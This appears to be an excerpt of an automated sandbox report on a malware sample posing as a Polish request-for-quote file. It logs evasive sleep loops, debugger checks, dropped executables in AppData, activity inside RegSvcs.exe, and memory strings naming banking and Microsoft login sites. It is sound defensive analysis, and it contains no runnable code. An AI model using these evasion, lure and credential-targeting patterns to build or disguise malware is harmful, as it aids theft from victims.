Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596245
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595919
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593745
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593639

Source: C:\Windows\System\explorer.exe	Window / User API: threadDelayed 1471	Jump to behavior
Source: C:\Windows\System\explorer.exe	Window / User API: threadDelayed 714	Jump to behavior
Source: C:\Windows\System\explorer.exe	Window / User API: foregroundWindowGot 1495	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 8106
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1710

Source: C:\Windows\System\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\mrsys.exe			Jump to dropped file
Source: C:\Windows\System\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\stsys.exe			Jump to dropped file

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	API coverage: 3.2 %
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	API coverage: 3.3 %

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe TID: 6176	Thread sleep count: 301 > 30	Jump to behavior
Source: C:\Windows\System\explorer.exe TID: 6568	Thread sleep count: 1471 > 30	Jump to behavior
Source: C:\Windows\System\explorer.exe TID: 6568	Thread sleep count: 714 > 30	Jump to behavior
Source: C:\Windows\System\svchost.exe TID: 6596	Thread sleep count: 280 > 30	Jump to behavior
Source: C:\Windows\System\svchost.exe TID: 6596	Thread sleep count: 49 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	1_2_00452126
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	1_2_0045C999
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	1_2_00436ADE
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00434BEE
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0045DD7C FindFirstFileW,FindClose,	1_2_0045DD7C
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	1_2_0044BD29
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	1_2_00436D2D
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00442E1F
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	1_2_00475FE5
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	1_2_0044BF8D

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

1_2_0040E470

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599421
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599117
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596245
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595919
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593745
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593639

Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2057021025.0000000000A8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegSvcs.exe, 0000000A.00000002.4484122452.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll(
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2057021025.0000000000A8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\!!zS
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\AppData\Local\icsys.icn.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 10_2_05869548 LdrInitializeThunk,

10_2_05869548

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0045A259 BlockInput,

1_2_0045A259

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

1_2_0040D6D0

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0040EB70 LoadLibraryA,GetProcAddress,

1_2_0040EB70

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_03EE1170 mov eax, dword ptr fs:[00000030h]	1_2_03EE1170
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_03EE1110 mov eax, dword ptr fs:[00000030h]	1_2_03EE1110
